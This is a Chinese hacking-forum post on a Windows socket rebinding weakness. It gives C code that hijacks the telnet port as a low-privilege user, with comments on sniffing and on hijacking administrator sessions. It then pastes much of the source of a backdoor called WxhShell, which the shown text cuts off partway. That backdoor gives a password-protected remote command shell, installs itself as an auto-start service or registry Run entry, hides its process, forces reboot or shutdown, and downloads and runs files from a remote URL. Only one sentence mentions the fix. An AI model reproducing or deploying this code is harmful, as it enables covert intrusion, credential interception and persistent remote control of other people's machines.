社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18470阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ppP0W `p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SSAf<44e  
TwI'}J|w  
  saddr.sin_family = AF_INET; 7'g{:dzS*3  
61@;3yV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m-HL7&iG$  
L25v7U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \C}_l+nY  
n/6qc3\5i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ubQbEv{(,  
*}P=7TuS  
  这意味着什么?意味着可以进行如下的攻击: iD${7 _  
ls@j8bVv^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J Q% D6b  
V{{Xz:   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &cSZ?0R  
=j~vL`d2]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6ec#3~ Y]  
A-&XgOL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5hvg]w95;  
X-<l+WP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t) l  
k^#+Wma7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~QngCg-5q  
):-Ub4A\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h0aK}`/a  
SMn(c  
  #include "qdEu KI  
  #include o JX4+uJ  
  #include iF*L-   
  #include    asZ(Hz%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >]<4t06D  
  int main() !Z!X]F-fY  
  { AF\gB2^  
  WORD wVersionRequested; xO{$6M3-~  
  DWORD ret; 928uGo5  
  WSADATA wsaData; V0G"Z6  
  BOOL val; H(gETRh  
  SOCKADDR_IN saddr; d#CAP9n;'  
  SOCKADDR_IN scaddr; >e^^YR^  
  int err; I&9Itn p$  
  SOCKET s; dvu8V_U  
  SOCKET sc; FaLc*CU  
  int caddsize; 8'* /|)Hn  
  HANDLE mt; Q#5~"C  
  DWORD tid;   s# V>+mU  
  wVersionRequested = MAKEWORD( 2, 2 ); *TgD{>s  
  err = WSAStartup( wVersionRequested, &wsaData ); }0}=-g&  
  if ( err != 0 ) { Dnp><%  
  printf("error!WSAStartup failed!\n"); )m$MC25  
  return -1; 3_ ZlZ_Tq  
  } Tn"^`\m  
  saddr.sin_family = AF_INET; hjq@ .5  
   dwqR,|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %+iAL<S  
2&zklXuo:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +-:o+S`q~  
  saddr.sin_port = htons(23); 7d^ ~.F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C@3UsD\s(  
  { Kz"&:&R"  
  printf("error!socket failed!\n"); 8l*h\p:Q  
  return -1; X?.tj Z,  
  } k] A(nr  
  val = TRUE; d*_rJE}B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ip |=NQL>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) abw5Gz@Ag  
  { )%09j0y>l"  
  printf("error!setsockopt failed!\n"); BB imP  
  return -1; 30W.ks5(  
  } f0{j/+F_o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?&-$Zog  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  Dn#^-,H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @rS(3wu_&  
bT^(D^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xc$Zkfmms  
  { ^/I.? :+  
  ret=GetLastError(); 9t!Agxm  
  printf("error!bind failed!\n"); phR:=Ox|1  
  return -1; 6^)eW+  
  } q[(1zG%NbA  
  listen(s,2); <k 'zz:[c!  
  while(1) z @?WhD  
  { j&[u$P*K  
  caddsize = sizeof(scaddr); 7c!#e=W@B  
  //接受连接请求  Vqr]Ui  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ji C2B  
  if(sc!=INVALID_SOCKET) _UV_n!R  
  { e>x+Xj1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tgj 5l#P  
  if(mt==NULL) 3Ww 37V>h  
  { >T)tAZ?WK  
  printf("Thread Creat Failed!\n"); Q <ulh s  
  break; QjKh#sU&  
  } 2(5/#$t  
  } ux~=}{tz  
  CloseHandle(mt); 49ehj1Se  
  } [X7gP4  
  closesocket(s); A b+qLh&?  
  WSACleanup(); -O\f y!  
  return 0; ~UHjc0  
  }   Dutc#?bT  
  DWORD WINAPI ClientThread(LPVOID lpParam) R'pfA B|!  
  { BIEq(/-  
  SOCKET ss = (SOCKET)lpParam; -2j[;kgt}  
  SOCKET sc; o]WcODJdl  
  unsigned char buf[4096]; mkq246<D~  
  SOCKADDR_IN saddr; qP-_xpu]R  
  long num; g_J QW(_  
  DWORD val; 51-'*Y  
  DWORD ret; Y`3\Z6KlV  
  //如果是隐藏端口应用的话,可以在此处加一些判断  % s@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L)qUBp@MW  
  saddr.sin_family = AF_INET; ,w f6gmh8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {|'NpV  
  saddr.sin_port = htons(23); jO9! :L>b`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WcY$=\7  
  { 2Bi?^kQ#  
  printf("error!socket failed!\n"); raZkH8  
  return -1; =!)x`1j!S  
  } SLNq%7apx  
  val = 100; KWM.e1(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?vFtv}@\  
  { $)~:H-  
  ret = GetLastError(); {pdPp|YDZ-  
  return -1; Dp4x\97O  
  } ! ?>I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o_BRsJy  
  { x4h.WDT$  
  ret = GetLastError(); 9{e/ V)  
  return -1; K{,'%|  
  } /ZM xVh0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?XeaoD/  
  { *U}-Y*  
  printf("error!socket connect failed!\n"); ) ~gIJW  
  closesocket(sc); {jv+ J L"5  
  closesocket(ss); 5V~vND* s  
  return -1; JTObyAoW  
  } _BONN6=*y  
  while(1) 7w]3D  
  { |!/+ T^u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vvs2:87zvJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $j8CF3d.6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5<e{)$C  
  num = recv(ss,buf,4096,0); YWJ$Pp  
  if(num>0) @^DVA}*b)  
  send(sc,buf,num,0); a4 7e  
  else if(num==0) 22;B:  
  break; 59p'U/|  
  num = recv(sc,buf,4096,0); aX zb]">  
  if(num>0) A6J:!sY4A  
  send(ss,buf,num,0); F'F 6 &a+  
  else if(num==0) `%^w-'  
  break; :I2,  
  } Mlr'h}:H  
  closesocket(ss); G B,O  
  closesocket(sc); ng~LCffpY  
  return 0 ; R4T@ ]l&W  
  } <lNNT6[/r  
aOd|;Z  
R*D5n>~  
========================================================== J}+N\V~  
+0j{$MPZ  
下边附上一个代码,,WXhSHELL j8 `7)^  
CrSBN~  
========================================================== q`.=/O'  
d[5v A/8O  
#include "stdafx.h" mq:WBSsV  
%O f w"W  
#include <stdio.h> OCJt5#e~A  
#include <string.h> c5uC?b].  
#include <windows.h> %IE;'aa }  
#include <winsock2.h> j%D{z5,nKm  
#include <winsvc.h> XT*/aa-1'  
#include <urlmon.h> o3eaNYa  
.{ZJywE<  
#pragma comment (lib, "Ws2_32.lib") 2+?W{yAEi  
#pragma comment (lib, "urlmon.lib") `rK@> -  
IW>~Yl?  
#define MAX_USER   100 // 最大客户端连接数 r> Xk1~<!  
#define BUF_SOCK   200 // sock buffer sa _J6~  
#define KEY_BUFF   255 // 输入 buffer KATf9-Sz  
2y|n!p T  
#define REBOOT     0   // 重启 1 0.Z Bfn  
#define SHUTDOWN   1   // 关机 a7uL {*ZR  
`IJ)'$pn  
#define DEF_PORT   5000 // 监听端口 ya5HAs  
Yk)fBPHr  
#define REG_LEN     16   // 注册表键长度 u 8<[Q]5  
#define SVC_LEN     80   // NT服务名长度 "KS" [i!3j  
Dgc6rv#  
// 从dll定义API "EA =auN{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U1  *P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tCoE4Ed  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5''k|B>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q*,HN(& l?  
3TLym&  
// wxhshell配置信息 [i.c;'Wy/  
struct WSCFG { K'e,9P{  
  int ws_port;         // 监听端口 :SW vH-]  
  char ws_passstr[REG_LEN]; // 口令 )V+/@4  
  int ws_autoins;       // 安装标记, 1=yes 0=no #Ef!X  
  char ws_regname[REG_LEN]; // 注册表键名 LR!%iP  
  char ws_svcname[REG_LEN]; // 服务名 &/2+'wCp5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y~Vc|zM^(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hO{&bY0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GA` bWl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;K|K]c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9o6[4Q}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7HY8 F5Brx  
)E7wBNV   
}; t^>P,%$  
1*$6u5.=F  
// default Wxhshell configuration 0_-o]BY  
struct WSCFG wscfg={DEF_PORT, EE|c@M^  
    "xuhuanlingzhe", V@s93kh  
    1, yiXb<g+B  
    "Wxhshell", ^c9_F9N  
    "Wxhshell", 1JdMw$H  
            "WxhShell Service", 0H.bRk/P+  
    "Wrsky Windows CmdShell Service", $;} @2U   
    "Please Input Your Password: ", #O,w{S  
  1, N?#L{Yt  
  "http://www.wrsky.com/wxhshell.exe", t2.jg?`k  
  "Wxhshell.exe" \6.dGKK  
    }; ;;rx)|\<R  
xluA jOQ6  
// 消息定义模块 f\=,_AQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vN@04a\h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z,\(bW qF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 23K#9!3  
char *msg_ws_ext="\n\rExit."; $sb@*K}:4  
char *msg_ws_end="\n\rQuit."; 7@ y}J5,  
char *msg_ws_boot="\n\rReboot...";  lA4J#  
char *msg_ws_poff="\n\rShutdown..."; r4gLoHD)  
char *msg_ws_down="\n\rSave to ";  r3OtQ  
/#"9!8%V  
char *msg_ws_err="\n\rErr!"; W>?aZv  
char *msg_ws_ok="\n\rOK!"; tQyQ+1  
|F'eT 4  
char ExeFile[MAX_PATH]; RtxAIMzh?  
int nUser = 0; /:BC<]s  
HANDLE handles[MAX_USER]; +!`$(  
int OsIsNt; z Z~t ,>  
-;HZ!Lf  
SERVICE_STATUS       serviceStatus; ,If"4C!w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^ yF Wvfh4  
JJM!pD\h  
// 函数声明 |pU>^  
int Install(void); FOPmvlA\-<  
int Uninstall(void); j E5=e</  
int DownloadFile(char *sURL, SOCKET wsh); ;F71f#iY  
int Boot(int flag); {\VsM#K6  
void HideProc(void); i*09m^r  
int GetOsVer(void); +:c}LCI9<  
int Wxhshell(SOCKET wsl); eUgKwu;  
void TalkWithClient(void *cs); y|9 LtQ  
int CmdShell(SOCKET sock); >%_i#|dE>  
int StartFromService(void); CJ#Yu3}  
int StartWxhshell(LPSTR lpCmdLine); K #JO#  
ms+gq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )^E6VD&6  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  f|yq~3x)  
REk^pZ3B  
// 数据结构和表定义 XFww|SG$  
SERVICE_TABLE_ENTRY DispatchTable[] = Fy_~~nI0  
{ x^pHP|<3`  
{wscfg.ws_svcname, NTServiceMain}, 5(Xq58nhxI  
{NULL, NULL} g^\>hjNX  
}; x_4{MD^%  
J+hifO  
// 自我安装 (1Jc-`  
int Install(void) . ve a[  
{ BT5~MYBl  
  char svExeFile[MAX_PATH]; |B),N f|a  
  HKEY key; $')Uie<!8  
  strcpy(svExeFile,ExeFile); zfGr1;  
~@D!E/hZx  
// 如果是win9x系统,修改注册表设为自启动 O0mQHpi:  
if(!OsIsNt) { OnE~0+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y#lg)nB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ADA*w 1  
  RegCloseKey(key); g8Zf("  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %BRll  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (*!4O>]  
  RegCloseKey(key); j2%#xZ{33  
  return 0; H<`7){iG  
    } KVpQ,x&q~  
  } Pj*"2 LBW#  
} ]#$r TWMl'  
else { #}'sknvM}  
~$ 4!C'0  
// 如果是NT以上系统,安装为系统服务 n(Ry~Xu_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); byj7c(  
if (schSCManager!=0) :HN\A4=kc(  
{ ~T'$gl  
  SC_HANDLE schService = CreateService X.ZY1vO  
  ( ~NO'8 Mr  
  schSCManager, "I[u D)$  
  wscfg.ws_svcname, V"sm+0J  
  wscfg.ws_svcdisp, mC`U"rlK~  
  SERVICE_ALL_ACCESS, l`AA<Rj*O-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B+=Xb;p8  
  SERVICE_AUTO_START, t-J\j"~%+  
  SERVICE_ERROR_NORMAL, 5' 3H$%dC  
  svExeFile, 4= hz4(5a  
  NULL, 3#c0p790  
  NULL, :}fIu?hCA  
  NULL, ot,e?lF  
  NULL, A)o%\j  
  NULL bRc~e@  
  ); p/&s-G F  
  if (schService!=0) K>`*JJ,  
  { 1|#j/  
  CloseServiceHandle(schService); 1`EkN0iZ  
  CloseServiceHandle(schSCManager); k|_LF[*Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VaylbYUCT/  
  strcat(svExeFile,wscfg.ws_svcname); P;l D ri  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UL\gcZ Zkl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qu0dWgK  
  RegCloseKey(key); $T}Dn[.  
  return 0; YU%U  
    } >W@3_{0  
  } L@LT*M  
  CloseServiceHandle(schSCManager); r*4@S~;  
} Je;HAhL  
} &<S]=\  
{(qH8A  
return 1; TY *q[AWG  
} 2o9IP>#u  
^>!~%Vv7!  
// 自我卸载 |t h"ET  
int Uninstall(void) Sc3B*.  
{ /c-%+Xd  
  HKEY key; 5_Opx=  
O2>W#7  
if(!OsIsNt) { _f~m&="T!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cr$8\{2OA7  
  RegDeleteValue(key,wscfg.ws_regname); BvV!?DY4  
  RegCloseKey(key); RiM!LX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UG<`m]  
  RegDeleteValue(key,wscfg.ws_regname); `?xE-S ;Pn  
  RegCloseKey(key); O_ /|Wx  
  return 0; P0^7hSo  
  } ,O ]AB  
} !7fVO2m T  
} H;rLU9b  
else { }=JuC+#~n  
QF`o%mI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B< BS>(Nr>  
if (schSCManager!=0) rpO>l  
{ [I7([l1Wvd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pi:=0,"XOp  
  if (schService!=0) "f<+~  
  { t+Rt*yjO  
  if(DeleteService(schService)!=0) { _a~-B@2g  
  CloseServiceHandle(schService); (dVrGa54  
  CloseServiceHandle(schSCManager); &26H   
  return 0; xKC{P{:  
  } meNz0ve  
  CloseServiceHandle(schService); 9J'3b <  
  } /C)FS?=  
  CloseServiceHandle(schSCManager); p?zh4:\F+  
} !`F^LXGA  
} ;Q} H'Wg,  
j8"2K^h=  
return 1; j>t*k!db  
} b5Pakz=jNM  
z ''-AH,  
// 从指定url下载文件 5.e. BT  
int DownloadFile(char *sURL, SOCKET wsh) mrz@Y0mgL  
{ #[{xEVf  
  HRESULT hr; vs~lyM/  
char seps[]= "/"; CuD^@  
char *token; $1$T2'C~+  
char *file; \9t6 #8  
char myURL[MAX_PATH]; 86,$ I+  
char myFILE[MAX_PATH]; FI$#x%A  
Rr>h8Ni <  
strcpy(myURL,sURL); .}l&lj@#  
  token=strtok(myURL,seps); lm;G8IP`  
  while(token!=NULL) B 8ycr~  
  { fCxF3m(O  
    file=token; {b6g!sE  
  token=strtok(NULL,seps); j,/t<@S>  
  } 8fwM)DKS  
#Qp.O@e  
GetCurrentDirectory(MAX_PATH,myFILE); M:Aik&  
strcat(myFILE, "\\"); >av.pJ(>  
strcat(myFILE, file); `e!hT@Xxa  
  send(wsh,myFILE,strlen(myFILE),0); W^^}-9  
send(wsh,"...",3,0); 0fTEb%z8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qe )#'$T  
  if(hr==S_OK) wzRIvm{  
return 0; XiB]I5(hcc  
else g6. =(je  
return 1; >O{/%(9  
:>t? ^r(  
} }@V ,v[&e  
$iblLZhj  
// 系统电源模块 E|A,NPf%I  
int Boot(int flag) _Vq7Gxy$R  
{ ohA@Zm8O  
  HANDLE hToken; 5E+k}S]M$  
  TOKEN_PRIVILEGES tkp; r2*'5jk_  
3[jk}2R';p  
  if(OsIsNt) { cs%NsnZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CXs i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]3E':JM@  
    tkp.PrivilegeCount = 1; y=jTS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ] cv|A^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > HL8hN'q'  
if(flag==REBOOT) { c[Mz#BWG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (1vmtg.O  
  return 0; ZREAEGi{  
} 0P_Y6w+  
else { 63$ R')  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ibOXh U  
  return 0; d\ &jl`8*  
} B9_0 Yq  
  } `f^`i~c\  
  else { a91Q*X%  
if(flag==REBOOT) { !HXdUAKu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C%P"Ds=w0N  
  return 0; y(RbW_ ?  
} , "zS  pN  
else {  *ihg'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Oz9k.[j(  
  return 0; 'Ph4(Yg  
} s 8``U~D   
} &%Hj.  
WII_s|YSt%  
return 1; ,Z%!38gGsu  
} 4(JxZ49  
S$"A[  
// win9x进程隐藏模块 0;TMwE  
void HideProc(void) [jumq1  
{ AmSJ!mTd8o  
gr=ke #   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (oJ#`k:&n  
  if ( hKernel != NULL ) U(./LrM05  
  { 5<w0*~Z d~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3F}d,aB A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :OI!YR%"  
    FreeLibrary(hKernel); lQ+-g#`  
  } & 8&WY1cU  
6!Isz1.re  
return; Q|G[9HBI  
} kLD)<D  
`Ze fSmb  
// 获取操作系统版本 <1jiU%!w  
int GetOsVer(void) 0\Oeo8<7)~  
{ SyYa_=En  
  OSVERSIONINFO winfo; U |4% ydG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oW+R:2I~O  
  GetVersionEx(&winfo); \O/=g6w|t}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E 0oJ|My  
  return 1; qbAoab53  
  else Tf0#+6 1>  
  return 0; f CVSVn"o  
} Vk_L*lcN  
d#z67Nl6  
// 客户端句柄模块 cL WM]\Y  
int Wxhshell(SOCKET wsl) Z=H f OC  
{ W4YC5ZH{l  
  SOCKET wsh; ZK'I$p]b  
  struct sockaddr_in client; oL6_Ya  
  DWORD myID; gVl#pVO`N  
Aqm0|GlJ  
  while(nUser<MAX_USER) 6% ,Q  
{ (Pu*[STTT  
  int nSize=sizeof(client); l/I W"A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (?3( =+t  
  if(wsh==INVALID_SOCKET) return 1; '",5Bu#C  
HxM-VK '  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `H|g~7KD&  
if(handles[nUser]==0) L'6zs:i  
  closesocket(wsh); )i>KYg w  
else eeX>SL5'i  
  nUser++; ,#m\W8j  
  } HU'E}8%t6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l:[=M:#p  
@F1pu3E  
  return 0; ~\_E%NR yA  
} {oZ]1Qf_  
FPMW"~v  
// 关闭 socket C/$IF M<  
void CloseIt(SOCKET wsh) 1GNA x\(  
{ }l2JXf55  
closesocket(wsh); 9!OpW:bR|  
nUser--; WgL! @g  
ExitThread(0); :H87x?e[  
} 5u!cA4e"  
5u8Sxfm",  
// 客户端请求句柄 Yk5kC 0B  
void TalkWithClient(void *cs) ["7}u^z@<+  
{ 8L@di  Y  
Ea !j-Lbo  
  SOCKET wsh=(SOCKET)cs; - t+Mh.  
  char pwd[SVC_LEN];  5-J-Tn  
  char cmd[KEY_BUFF]; ^m7PXY  
char chr[1]; )Qc$UI8L  
int i,j; o]j*  
prWid3}  
  while (nUser < MAX_USER) { -/</7I  
*!Dzst-J3  
if(wscfg.ws_passstr) { E5 dXu5+ye  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 qq7:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~DD/\V  
  //ZeroMemory(pwd,KEY_BUFF); `l}-S |a  
      i=0; pqe tYu  
  while(i<SVC_LEN) { g,;MV7yE  
qRFN@ID$  
  // 设置超时 cQR1v-Xt  
  fd_set FdRead; c'6H@m#=  
  struct timeval TimeOut; qq` RfZjL  
  FD_ZERO(&FdRead); ^#4s/mdVO  
  FD_SET(wsh,&FdRead); 1m0':n Vdu  
  TimeOut.tv_sec=8; i~;8'>:|,M  
  TimeOut.tv_usec=0; 2*M*<p=v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ![ QQF|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _pS%tPw  
GxkG$B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oxzNV&D[{`  
  pwd=chr[0]; 6~}H3rvO}  
  if(chr[0]==0xd || chr[0]==0xa) { dd$N4&  
  pwd=0; x6t;=  
  break; s :ruCS  
  } (TE2t7ab|M  
  i++; B'Wky>5)  
    } _x!pM j(A  
-: ,h8JyMP  
  // 如果是非法用户,关闭 socket |(%H O@i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 82X.  
} +@Y[i."^J  
(Y>MsqwWfC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BUb(BzC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -  -G1H  
p{rS -`I  
while(1) { p[b\x_0%c  
Q-F9oZ*0  
  ZeroMemory(cmd,KEY_BUFF); j1ZFsTFMWp  
}$-VI\96  
      // 自动支持客户端 telnet标准   BGX@n#:  
  j=0; US4Um>j  
  while(j<KEY_BUFF) { IfcFlXmt2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gNwXOd u  
  cmd[j]=chr[0]; !A!\S/x4  
  if(chr[0]==0xa || chr[0]==0xd) { f2wW2]Fg  
  cmd[j]=0; aW"!bAdx`,  
  break; 'T[zh#v>S  
  } mw[4<vfB0a  
  j++; +!v RU`  
    } :j ~5(K"  
ju]]|  
  // 下载文件 u3vmC:bV  
  if(strstr(cmd,"http://")) { _ ^{Ep/ME=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MbfzGYA2~  
  if(DownloadFile(cmd,wsh)) Wv"tAseu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E: GJ$I  
  else (5~C _Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PAHlj,n)  
  } 9$&e~^&B  
  else { j;)g+9`  
YJ$ewK4E#.  
    switch(cmd[0]) { @@wx~|%  
  :2E1aVo4b  
  // 帮助 G+uiZ (p>  
  case '?': { 0>iFXw:fn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >x4[7YAU{  
    break; #ja`+w}  
  } `?JgHk  
  // 安装 (L$~ zw5gr  
  case 'i': { hZ<btN .y5  
    if(Install()) |Vi&f5p,@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6[.Mx}h6  
    else U$)Hhn|X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rf->mk{  
    break; -kbm$~P  
    } gE&W6z0fJ  
  // 卸载 jJZsBOW[8  
  case 'r': { .KucjRI  
    if(Uninstall()) n=? 0g;1!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A Vm{#^p[(  
    else DYlvxF`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NRisr  
    break; ulf/C%t,R  
    } >&QH{!(  
  // 显示 wxhshell 所在路径 t i^v%+r1  
  case 'p': { *W12Rb2  
    char svExeFile[MAX_PATH]; GQ2PmnV +  
    strcpy(svExeFile,"\n\r"); UglG!1L  
      strcat(svExeFile,ExeFile); ~AanU1U<  
        send(wsh,svExeFile,strlen(svExeFile),0); HhmVV"g  
    break; _AYC|R|  
    } c%@~%IGF  
  // 重启 [fi'=Cb  
  case 'b': { -'[(Uzj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k0_$M{@Y  
    if(Boot(REBOOT)) U}w+`ZLN  
